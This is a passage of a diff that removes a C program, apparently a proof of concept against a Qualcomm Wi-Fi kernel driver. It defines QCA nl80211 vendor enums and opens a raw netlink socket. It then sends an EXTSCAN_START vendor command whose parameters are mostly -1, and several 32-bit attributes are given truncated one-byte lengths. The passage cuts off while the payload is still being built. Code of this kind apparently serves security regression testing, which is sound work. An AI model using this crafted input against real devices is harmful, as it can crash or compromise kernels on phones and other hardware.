-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_BSSID,
-  /* Signed 32-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_RSSI_LOW,
-  /* Signed 32-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_RSSI_HIGH,
-  /* Unsigned 32-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_CHANNEL,
-
-  /* Number of hotlist APs as unsigned 32-bit value, followed by a nested
-   * array of AP_THRESHOLD_PARAM attributes and values. The size of the
-   * array is determined by NUM_AP.
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_BSSID_HOTLIST_PARAMS_NUM_AP,
-
-  /* Array of QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_* attributes.
-   * Array size: QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_NUM_CHANNEL_SPECS
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM,
-
-  /* Unsigned 32bit value; number of samples for averaging RSSI. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_RSSI_SAMPLE_SIZE,
-  /* Unsigned 32bit value; number of samples to confirm AP loss. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_LOST_AP_SAMPLE_SIZE,
-  /* Unsigned 32bit value; number of APs breaching threshold. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_MIN_BREACHING,
-  /* Unsigned 32bit value; number of APs. Followed by an array of
-   * AP_THRESHOLD_PARAM attributes. Size of the array is NUM_AP.
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_NUM_AP,
-  /* Unsigned 32bit value; number of samples to confirm AP loss. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_BSSID_HOTLIST_PARAMS_LOST_AP_SAMPLE_SIZE,
-
-  /* Unsigned 32-bit value. If max_period is non zero or different than
-   * period, then this bucket is an exponential backoff bucket.
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_MAX_PERIOD,
-  /* Unsigned 32-bit value. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_BASE,
-  /* Unsigned 32-bit value. For exponential back off bucket, number of scans
-   * to performed for a given period.
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_STEP_COUNT,
-  /* Unsigned 8-bit value; in number of scans, wake up AP after these
-   * many scans.
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_REPORT_THRESHOLD_NUM_SCANS,
-
-  /* NL attributes for data used by
-   * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SET_SSID_HOTLIST sub command.
-   */
-  /* Unsigned 32bit value; number of samples to confirm SSID loss. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_HOTLIST_PARAMS_LOST_SSID_SAMPLE_SIZE,
-  /* Number of hotlist SSIDs as unsigned 32-bit value, followed by a nested
-   * array of SSID_THRESHOLD_PARAM_* attributes and values. The size of the
-   * array is determined by NUM_SSID.
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_HOTLIST_PARAMS_NUM_SSID,
-  /* Array of QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_* attributes.
-   * Array size: QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_HOTLIST_PARAMS_NUM_SSID
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM,
-
-  /* An array of 33 x Unsigned 8-bit value; NULL terminated SSID */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_SSID,
-  /* Unsigned 8-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_BAND,
-  /* Signed 32-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_RSSI_LOW,
-  /* Signed 32-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_RSSI_HIGH,
-
-  /* Unsigned 32-bit value; a bitmask w/additional extscan config flag. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_CONFIGURATION_FLAGS,
-
-  /* keep last */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_AFTER_LAST,
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_MAX =
-      QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_AFTER_LAST - 1,
-};
-
-enum qca_nl80211_vendor_subcmds {
-  QCA_NL80211_VENDOR_SUBCMD_UNSPEC = 0,
-  QCA_NL80211_VENDOR_SUBCMD_TEST = 1,
-  /* subcmds 2..8 not yet allocated */
-  QCA_NL80211_VENDOR_SUBCMD_ROAMING = 9,
-  QCA_NL80211_VENDOR_SUBCMD_AVOID_FREQUENCY = 10,
-  QCA_NL80211_VENDOR_SUBCMD_DFS_CAPABILITY = 11,
-  QCA_NL80211_VENDOR_SUBCMD_NAN = 12,
-  QCA_NL80211_VENDOR_SUBCMD_STATS_EXT = 13,
-  /* subcommands for link layer statistics start here */
-  QCA_NL80211_VENDOR_SUBCMD_LL_STATS_SET = 14,
-  QCA_NL80211_VENDOR_SUBCMD_LL_STATS_GET = 15,
-  QCA_NL80211_VENDOR_SUBCMD_LL_STATS_CLR = 16,
-  QCA_NL80211_VENDOR_SUBCMD_LL_STATS_RADIO_RESULTS = 17,
-  QCA_NL80211_VENDOR_SUBCMD_LL_STATS_IFACE_RESULTS = 18,
-  QCA_NL80211_VENDOR_SUBCMD_LL_STATS_PEERS_RESULTS = 19,
-  /* subcommands for extscan start here */
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_START = 20,
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_STOP = 21,
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_GET_VALID_CHANNELS = 22,
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_GET_CAPABILITIES = 23,
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_GET_CACHED_RESULTS = 24,
-  /* Used when report_threshold is reached in scan cache. */
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SCAN_RESULTS_AVAILABLE = 25,
-  /* Used to report scan results when each probe rsp. is received,
-   * if report_events enabled in wifi_scan_cmd_params.
-   */
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_FULL_SCAN_RESULT = 26,
-  /* Indicates progress of scanning state-machine. */
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SCAN_EVENT = 27,
-  /* Indicates BSSID Hotlist. */
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_HOTLIST_AP_FOUND = 28,
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SET_BSSID_HOTLIST = 29,
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_RESET_BSSID_HOTLIST = 30,
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SIGNIFICANT_CHANGE = 31,
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SET_SIGNIFICANT_CHANGE = 32,
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_RESET_SIGNIFICANT_CHANGE = 33,
-  /* EXT TDLS */
-  QCA_NL80211_VENDOR_SUBCMD_TDLS_ENABLE = 34,
-  QCA_NL80211_VENDOR_SUBCMD_TDLS_DISABLE = 35,
-  QCA_NL80211_VENDOR_SUBCMD_TDLS_GET_STATUS = 36,
-  QCA_NL80211_VENDOR_SUBCMD_TDLS_STATE = 37,
-  /* Get supported features */
-  QCA_NL80211_VENDOR_SUBCMD_GET_SUPPORTED_FEATURES = 38,
-
-  /* Set scanning_mac_oui */
-  QCA_NL80211_VENDOR_SUBCMD_SCANNING_MAC_OUI = 39,
-  /* Set nodfs_flag */
-  QCA_NL80211_VENDOR_SUBCMD_NO_DFS_FLAG = 40,
-
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_HOTLIST_AP_LOST = 41,
-
-  /* Get Concurrency Matrix */
-  QCA_NL80211_VENDOR_SUBCMD_GET_CONCURRENCY_MATRIX = 42,
-
-  /* Get the security keys for key management offload */
-  QCA_NL80211_VENDOR_SUBCMD_KEY_MGMT_SET_KEY = 50,
-
-  /* Send the roaming and authentication info after roaming */
-  QCA_NL80211_VENDOR_SUBCMD_KEY_MGMT_ROAM_AUTH = 51,
-
-  QCA_NL80211_VENDOR_SUBCMD_APFIND = 52,
-
-  /* Deprecated */
-  QCA_NL80211_VENDOR_SUBCMD_OCB_SET_SCHED = 53,
-
-  QCA_NL80211_VENDOR_SUBCMD_DO_ACS = 54,
-
-  /* Get the supported features by the driver */
-  QCA_NL80211_VENDOR_SUBCMD_GET_FEATURES = 55,
-
-  /* Off loaded DFS events */
-  QCA_NL80211_VENDOR_SUBCMD_DFS_OFFLOAD_CAC_STARTED = 56,
-  QCA_NL80211_VENDOR_SUBCMD_DFS_OFFLOAD_CAC_FINISHED = 57,
-  QCA_NL80211_VENDOR_SUBCMD_DFS_OFFLOAD_CAC_ABORTED = 58,
-  QCA_NL80211_VENDOR_SUBCMD_DFS_OFFLOAD_CAC_NOP_FINISHED = 59,
-  QCA_NL80211_VENDOR_SUBCMD_DFS_OFFLOAD_RADAR_DETECTED = 60,
-
-  /* Get Wifi Specific Info */
-  QCA_NL80211_VENDOR_SUBCMD_GET_WIFI_INFO = 61,
-  /* Start Wifi Logger */
-  QCA_NL80211_VENDOR_SUBCMD_WIFI_LOGGER_START = 62,
-  /* Start Wifi Memory Dump */
-  QCA_NL80211_VENDOR_SUBCMD_WIFI_LOGGER_MEMORY_DUMP = 63,
-  QCA_NL80211_VENDOR_SUBCMD_ROAM = 64,
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SET_SSID_HOTLIST = 65,
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_RESET_SSID_HOTLIST = 66,
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_HOTLIST_SSID_FOUND = 67,
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_HOTLIST_SSID_LOST = 68,
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_SET_LIST = 69,
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_SET_PASSPOINT_LIST = 70,
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_RESET_PASSPOINT_LIST = 71,
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_NETWORK_FOUND = 72,
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_PASSPOINT_NETWORK_FOUND = 73,
-
-  /* Wi-Fi Configuration subcommands */
-  QCA_NL80211_VENDOR_SUBCMD_SET_WIFI_CONFIGURATION = 74,
-  QCA_NL80211_VENDOR_SUBCMD_GET_WIFI_CONFIGURATION = 75,
-
-  QCA_NL80211_VENDOR_SUBCMD_GET_LOGGER_FEATURE_SET = 76,
-  QCA_NL80211_VENDOR_SUBCMD_GET_RING_DATA = 77,
-  QCA_NL80211_VENDOR_SUBCMD_TDLS_GET_CAPABILITIES = 78,
-
-  QCA_NL80211_VENDOR_SUBCMD_OFFLOADED_PACKETS = 79,
-  QCA_NL80211_VENDOR_SUBCMD_MONITOR_RSSI = 80,
-  QCA_NL80211_VENDOR_SUBCMD_NDP = 81,
-
-  /* NS Offload enable/disable cmd */
-  QCA_NL80211_VENDOR_SUBCMD_ND_OFFLOAD = 82,
-
-  QCA_NL80211_VENDOR_SUBCMD_PACKET_FILTER = 83,
-  QCA_NL80211_VENDOR_SUBCMD_GET_BUS_SIZE = 84,
-
-  QCA_NL80211_VENDOR_SUBCMD_GET_WAKE_REASON_STATS = 85,
-
-  /* OCB commands */
-  QCA_NL80211_VENDOR_SUBCMD_OCB_SET_CONFIG = 92,
-  QCA_NL80211_VENDOR_SUBCMD_OCB_SET_UTC_TIME = 93,
-  QCA_NL80211_VENDOR_SUBCMD_OCB_START_TIMING_ADVERT = 94,
-  QCA_NL80211_VENDOR_SUBCMD_OCB_STOP_TIMING_ADVERT = 95,
-  QCA_NL80211_VENDOR_SUBCMD_OCB_GET_TSF_TIMER = 96,
-  QCA_NL80211_VENDOR_SUBCMD_DCC_GET_STATS = 97,
-  QCA_NL80211_VENDOR_SUBCMD_DCC_CLEAR_STATS = 98,
-  QCA_NL80211_VENDOR_SUBCMD_DCC_UPDATE_NDL = 99,
-  QCA_NL80211_VENDOR_SUBCMD_DCC_STATS_EVENT = 100,
-
-  /* subcommand to get link properties */
-  QCA_NL80211_VENDOR_SUBCMD_LINK_PROPERTIES = 101,
-  QCA_NL80211_VENDOR_SUBCMD_SETBAND = 105,
-  QCA_NL80211_VENDOR_SUBCMD_SET_SAP_CONFIG = 118,
-};
-
-enum qca_wlan_vendor_attr {
-  QCA_WLAN_VENDOR_ATTR_INVALID = 0,
-  /* used by QCA_NL80211_VENDOR_SUBCMD_DFS_CAPABILITY */
-  QCA_WLAN_VENDOR_ATTR_DFS = 1,
-  /* used by QCA_NL80211_VENDOR_SUBCMD_NAN */
-  QCA_WLAN_VENDOR_ATTR_NAN = 2,
-  /* used by QCA_NL80211_VENDOR_SUBCMD_STATS_EXT */
-  QCA_WLAN_VENDOR_ATTR_STATS_EXT = 3,
-  /* used by QCA_NL80211_VENDOR_SUBCMD_STATS_EXT */
-  QCA_WLAN_VENDOR_ATTR_IFINDEX = 4,
-
-  /* used by QCA_NL80211_VENDOR_SUBCMD_ROAMING */
-  QCA_WLAN_VENDOR_ATTR_ROAMING_POLICY = 5,
-  QCA_WLAN_VENDOR_ATTR_MAC_ADDR = 6,
-
-  /* used by QCA_NL80211_VENDOR_SUBCMD_GET_FEATURES */
-  QCA_WLAN_VENDOR_ATTR_FEATURE_FLAGS = 7,
-
-  /* Unsigned 32-bit value from enum qca_set_band */
-  QCA_WLAN_VENDOR_ATTR_SETBAND_VALUE = 12,
-
-  /* keep last */
-  QCA_WLAN_VENDOR_ATTR_AFTER_LAST,
-  QCA_WLAN_VENDOR_ATTR_MAX = QCA_WLAN_VENDOR_ATTR_AFTER_LAST - 1
-};
-
-#define NETLINK_KERNEL_SOCKET 0x1
-#define NETLINK_RECV_PKTINFO 0x2
-#define NETLINK_BROADCAST_SEND_ERROR 0x4
-#define NETLINK_RECV_NO_ENOBUFS 0x8
-
-#define NLMSG_MIN_TYPE 0x10
-
-#define GENL_ID_GENERATE 0
-#define GENL_ID_CTRL NLMSG_MIN_TYPE
-#define GENL_ID_VFS_DQUOT (NLMSG_MIN_TYPE + 1)
-#define GENL_ID_PMCRAID (NLMSG_MIN_TYPE + 2)
-
-#define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
-#define NLA_DATA(na) ((void *)((char *)(na) + NLA_HDRLEN))
-#define QCA_NL80211_VENDOR_ID 0x001374
-
-#define MAX_MSG_SIZE 1024
-
-struct msgtemplate {
-  struct nlmsghdr n;
-  struct genlmsghdr g;
-  char buf[MAX_MSG_SIZE];
-};
-
-enum qca_wlan_vendor_attr_ndp_params {
-  QCA_WLAN_VENDOR_ATTR_NDP_PARAM_INVALID = 0,
-  QCA_WLAN_VENDOR_ATTR_NDP_SUBCMD,
-  QCA_WLAN_VENDOR_ATTR_NDP_TRANSACTION_ID,
-  QCA_WLAN_VENDOR_ATTR_NDP_SERVICE_INSTANCE_ID,
-  QCA_WLAN_VENDOR_ATTR_NDP_CHANNEL,
-  QCA_WLAN_VENDOR_ATTR_NDP_PEER_DISCOVERY_MAC_ADDR,
-  QCA_WLAN_VENDOR_ATTR_NDP_IFACE_STR,
-  QCA_WLAN_VENDOR_ATTR_NDP_CONFIG_SECURITY,
-  QCA_WLAN_VENDOR_ATTR_NDP_CONFIG_QOS,
-  QCA_WLAN_VENDOR_ATTR_NDP_APP_INFO_LEN,
-  QCA_WLAN_VENDOR_ATTR_NDP_APP_INFO,
-  QCA_WLAN_VENDOR_ATTR_NDP_INSTANCE_ID,
-  QCA_WLAN_VENDOR_ATTR_NDP_NUM_INSTANCE_ID,
-  QCA_WLAN_VENDOR_ATTR_NDP_INSTANCE_ID_ARRAY,
-  QCA_WLAN_VENDOR_ATTR_NDP_RESPONSE_CODE,
-  QCA_WLAN_VENDOR_ATTR_NDP_SCHEDULE_STATUS_CODE,
-  QCA_WLAN_VENDOR_ATTR_NDP_NDI_MAC_ADDR,
-  QCA_WLAN_VENDOR_ATTR_NDP_DRV_RETURN_TYPE,
-  QCA_WLAN_VENDOR_ATTR_NDP_DRV_RETURN_VALUE,
-
-  QCA_WLAN_VENDOR_ATTR_NDP_PARAMS_AFTER_LAST,
-  QCA_WLAN_VENDOR_ATTR_NDP_PARAMS_MAX =
-      QCA_WLAN_VENDOR_ATTR_NDP_PARAMS_AFTER_LAST - 1,
-};
-
-enum qca_wlan_vendor_attr_dcc_update_ndl {
-  QCA_WLAN_VENDOR_ATTR_DCC_UPDATE_NDL_INVALID = 0,
-  QCA_WLAN_VENDOR_ATTR_DCC_UPDATE_NDL_CHANNEL_COUNT,
-  QCA_WLAN_VENDOR_ATTR_DCC_UPDATE_NDL_CHANNEL_ARRAY,
-  QCA_WLAN_VENDOR_ATTR_DCC_UPDATE_NDL_ACTIVE_STATE_ARRAY,
-  QCA_WLAN_VENDOR_ATTR_DCC_UPDATE_NDL_AFTER_LAST,
-  QCA_WLAN_VENDOR_ATTR_DCC_UPDATE_NDL_MAX =
-      QCA_WLAN_VENDOR_ATTR_DCC_UPDATE_NDL_AFTER_LAST - 1,
-};
-
-#define PARAM_MAX QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_MAX
-#define PARAM_REQUEST_ID \
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_REQUEST_ID
-#define PARAM_BASE_PERIOD \
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_BASE_PERIOD
-#define PARAM_MAX_AP_PER_SCAN \
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_MAX_AP_PER_SCAN
-#define PARAM_RPT_THRHLD_PERCENT \
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_REPORT_THRESHOLD_PERCENT
-#define PARAM_RPT_THRHLD_NUM_SCANS \
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_REPORT_THRESHOLD_NUM_SCANS
-#define PARAM_NUM_BUCKETS \
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_NUM_BUCKETS
-#define PARAM_CONFIG_FLAGS QCA_WLAN_VENDOR_ATTR_EXTSCAN_CONFIGURATION_FLAGS
-
-static int send_cmd(int sd, __u16 nlmsg_type, __u32 nlmsg_pid, __u8 genl_cmd,
-                    __u16 nla_type, void *nla_data, int nla_len) {
-  printf("send_cmd %s %d\n", nla_data, nla_len);
-  struct nlattr *na;
-  struct sockaddr_nl nladdr;
-  int r, buflen;
-  char *buf;
-
-  struct msgtemplate msg;
-
-  msg.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
-  msg.n.nlmsg_type = nlmsg_type;
-  msg.n.nlmsg_flags = NLM_F_REQUEST;
-  msg.n.nlmsg_seq = 0;
-  msg.n.nlmsg_pid = nlmsg_pid;
-  msg.g.cmd = genl_cmd;
-  msg.g.version = 0x1;
-  na = (struct nlattr *)GENLMSG_DATA(&msg);
-  na->nla_type = nla_type;
-  na->nla_len = nla_len + 1 + NLA_HDRLEN;
-  memcpy(NLA_DATA(na), nla_data, nla_len);
-  msg.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);
-
-  buf = (char *)&msg;
-  buflen = msg.n.nlmsg_len;
-  memset(&nladdr, 0, sizeof(nladdr));
-  nladdr.nl_family = AF_NETLINK;
-
-  if (buflen !=
-      sendto(sd, buf, buflen, 0, (struct sockaddr *)&nladdr, sizeof(nladdr))) {
-    return -1;
-  }
-  return 0;
-}
-
-static int get_family_id(int sd) {
-  int id = 0, rc;
-  struct nlattr *na;
-  int rep_len;
-  struct msgtemplate ans;
-
-  memset(&ans, 0, sizeof(struct msgtemplate));
-
-  rc = send_cmd(sd, GENL_ID_CTRL, getpid(), CTRL_CMD_GETFAMILY,
-                CTRL_ATTR_FAMILY_NAME, (void *)NL80211_GENL_NAME,
-                strlen(NL80211_GENL_NAME) + 1);
-  if (rc < 0) {
-    return 0; /* sendto() failure? */
-  }
-
-  rep_len = recv(sd, &ans, sizeof(ans), 0);
-  if (rep_len < 0) {
-    return -1;
-  }
-
-  na = (struct nlattr *)GENLMSG_DATA(&ans);
-  na = (struct nlattr *)((char *)na + NLA_ALIGN(na->nla_len));
-  if (na->nla_type == CTRL_ATTR_FAMILY_ID) {
-    id = *(__u16 *)NLA_DATA(na);
-  }
-  na = (struct nlattr *)((char *)na + NLA_ALIGN(na->nla_len));
-  return id;
-}
-
-int start_p2p(int id, int fd) {
-  struct nlattr *na;
-  struct nlattr *na_data;
-  struct sockaddr_nl nladdr;
-  int r, buflen, ret;
-  char *buf;
-  struct msgtemplate msg, ans;
-
-  msg.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
-  msg.n.nlmsg_type = id;
-  msg.n.nlmsg_flags = NLM_F_REQUEST;
-  msg.n.nlmsg_seq = 0;
-  msg.n.nlmsg_pid = getpid();
-  msg.g.cmd = NL80211_CMD_START_P2P_DEVICE;
-  msg.g.version = 1;
-
-  na = (struct nlattr *)GENLMSG_DATA(&msg);
-  na->nla_type = NL80211_ATTR_WIPHY;
-  na->nla_len = 4 + NLA_HDRLEN;
-  *(u32 *)NLA_DATA(na) = 0;
-  msg.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);
-
-  na = (struct nlattr *)((char *)na + NLMSG_ALIGN(na->nla_len));
-  na->nla_type = NL80211_ATTR_IFINDEX;
-  na->nla_len = 4 + NLA_HDRLEN;
-  *(u32 *)NLA_DATA(na) = 24;
-  msg.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);
-
-  buf = (char *)&msg;
-  buflen = msg.n.nlmsg_len;
-  memset(&nladdr, 0, sizeof(nladdr));
-  nladdr.nl_family = AF_NETLINK;
-  ret = sendto(fd, buf, buflen, 0, (struct sockaddr *)&nladdr, sizeof(nladdr));
-  if (ret < 0) {
-    return -1;
-  }
-
-  ret = recv(fd, &ans, sizeof(ans), 0);
-  return ret;
-}
-
-unsigned if_nametoindex(const char *ifname) {
-  int s = socket(AF_INET, SOCK_DGRAM | SOCK_CLOEXEC, 0);
-  if (s == -1) return 0;
-  int ret = 0;
-  struct ifreq ifr;
-
-  memset(&ifr, 0, sizeof(ifr));
-  strncpy(ifr.ifr_name, ifname, sizeof(ifr.ifr_name));
-  ifr.ifr_name[IFNAMSIZ - 1] = 0;
-
-  ret = ioctl(s, SIOCGIFINDEX, &ifr);
-  close(s);
-  return (ret == -1) ? 0 : ifr.ifr_ifindex;
-}
-
-int get_wiphy_idx(int id, int fd, int *ifindex, int *wiphyid, char *ifname) {
-  struct nlattr *na;
-  struct nlattr *na_data;
-  struct sockaddr_nl nladdr;
-  int r, buflen, ret;
-  char *buf;
-  struct msgtemplate msg, ans;
-
-  int if_index = if_nametoindex("wlan0");
-  msg.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
-  msg.n.nlmsg_type = id;
-  msg.n.nlmsg_flags = NLM_F_REQUEST;
-  msg.n.nlmsg_seq = 0;
-  msg.n.nlmsg_pid = getpid();
-  msg.g.cmd = NL80211_CMD_GET_INTERFACE;
-  msg.g.version = 1;
-
-  na = (struct nlattr *)GENLMSG_DATA(&msg);
-  na->nla_type = NL80211_ATTR_IFINDEX;
-  na->nla_len = 4 + NLA_HDRLEN;
-  *(u32 *)NLA_DATA(na) = if_index;
-  msg.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);
-
-  buf = (char *)&msg;
-  buflen = msg.n.nlmsg_len;
-  memset(&nladdr, 0, sizeof(nladdr));
-  nladdr.nl_family = AF_NETLINK;
-  ret = sendto(fd, buf, buflen, 0, (struct sockaddr *)&nladdr, sizeof(nladdr));
-  if (ret < 0) {
-    return -1;
-  }
-
-  memset(&ans, 0, sizeof(ans));
-  ret = recv(fd, &ans, sizeof(ans), 0);
-
-  na = (struct nlattr *)GENLMSG_DATA(&ans);
-  *ifindex = *(u32 *)NLA_DATA(na);
-
-  na = (struct nlattr *)((char *)na + NLA_ALIGN(na->nla_len));
-  strcpy(ifname, NLA_DATA(na));
-
-  na = (struct nlattr *)((char *)na + NLA_ALIGN(na->nla_len));
-  *wiphyid = *(u32 *)NLA_DATA(na);
-
-  return ret;
-}
-
-int main(int argc, const char *argv[]) {
-  int ret;
-
-  int fd;
-  struct sockaddr_nl local;
-  struct msgtemplate ans;
-
-  /* create socket */
-  fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
-  if (fd < 0) return -1;
-
-  memset(&local, 0, sizeof(local));
-  local.nl_family = AF_NETLINK;
-
-  if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0) {
-    return -1;
-  }
-
-  int id = get_family_id(fd);
-
-  int ifindex, wiphyid;
-  char ifname[64];
-  get_wiphy_idx(id, fd, &ifindex, &wiphyid, ifname);
-
-  struct nlattr *na;
-  struct nlattr *na_data;
-  struct sockaddr_nl nladdr;
-  int r, buflen;
-  char *buf;
-  struct msgtemplate msg;
-
-  msg.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
-  msg.n.nlmsg_type = id;
-  msg.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
-  msg.n.nlmsg_seq = time(0);
-  msg.n.nlmsg_pid = getpid();
-  msg.g.cmd = NL80211_CMD_VENDOR;
-  msg.g.version = 1;
-
-  na = (struct nlattr *)GENLMSG_DATA(&msg);
-  na->nla_type = NL80211_ATTR_VENDOR_ID;
-  na->nla_len = 4 + NLA_HDRLEN;
-  *(u32 *)NLA_DATA(na) = QCA_NL80211_VENDOR_ID;
-  msg.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);
-
-  na = (struct nlattr *)((char *)na + NLMSG_ALIGN(na->nla_len));
-  na->nla_type = NL80211_ATTR_VENDOR_SUBCMD;
-  na->nla_len = 4 + NLA_HDRLEN;
-  *(u32 *)NLA_DATA(na) = QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_START;
-  msg.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);
-
-  na = (struct nlattr *)((char *)na + NLMSG_ALIGN(na->nla_len));
-  na->nla_type = NL80211_ATTR_IFINDEX;
-  na->nla_len = 4 + NLA_HDRLEN;
-  *(u32 *)NLA_DATA(na) = ifindex;
-  msg.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);
-
-  char data[1024] = {0};
-  int data_size = 0;
-  na_data = data;
-
-  na_data = (struct nlattr *)((char *)na_data + NLMSG_ALIGN(na_data->nla_len));
-  na_data->nla_type = PARAM_REQUEST_ID;
-  na_data->nla_len = 4 + NLA_HDRLEN;
-  *(u32 *)NLA_DATA(na_data) = -1;
-  data_size += NLMSG_ALIGN(na_data->nla_len);
-
-  na_data = (struct nlattr *)((char *)na_data + NLMSG_ALIGN(na_data->nla_len));
-  na_data->nla_type = PARAM_BASE_PERIOD;
-  na_data->nla_len = 4 + NLA_HDRLEN;
-  *(u32 *)NLA_DATA(na_data) = -1;
-  data_size += NLMSG_ALIGN(na_data->nla_len);
-
-  na_data = (struct nlattr *)((char *)na_data + NLMSG_ALIGN(na_data->nla_len));
-  na_data->nla_type = PARAM_MAX_AP_PER_SCAN;
-  na_data->nla_len = 4 + NLA_HDRLEN;
-  *(u32 *)NLA_DATA(na_data) = -1;
-  data_size += NLMSG_ALIGN(na_data->nla_len);
-
-  na_data = (struct nlattr *)((char *)na_data + NLMSG_ALIGN(na_data->nla_len));
-  na_data->nla_type = PARAM_RPT_THRHLD_PERCENT;
-  na_data->nla_len = 1 + NLA_HDRLEN;
-  *(u32 *)NLA_DATA(na_data) = -1;
-  data_size += NLMSG_ALIGN(na_data->nla_len);
-
-  na_data = (struct nlattr *)((char *)na_data + NLMSG_ALIGN(na_data->nla_len));
-  na_data->nla_type = PARAM_RPT_THRHLD_NUM_SCANS;
-  na_data->nla_len = 1 + NLA_HDRLEN;
-  *(u32 *)NLA_DATA(na_data) = -1;
-  data_size += NLMSG_ALIGN(na_data->nla_len);
-
-  na_data = (struct nlattr *)((char *)na_data + NLMSG_ALIGN(na_data->nla_len));
-  na_data->nla_type = PARAM_NUM_BUCKETS;
-  na_data->nla_len = 1 + NLA_HDRLEN;
-  *(u32 *)NLA_DATA(na_data) = 1;
-  data_size += NLMSG_ALIGN(na_data->nla_len);
-
-  na_data = (struct nlattr *)((char *)na_data + NLMSG_ALIGN(na_data->nla_len));
-  na_data->nla_type = PARAM_CONFIG_FLAGS;
-  na_data->nla_len = 4 + NLA_HDRLEN;
-  *(u32 *)NLA_DATA(na_data) = -1;
-  data_size += NLMSG_ALIGN(na_data->nla_len);
-
-  char apTh[256] = {0};
-  int apTh_size = 0;
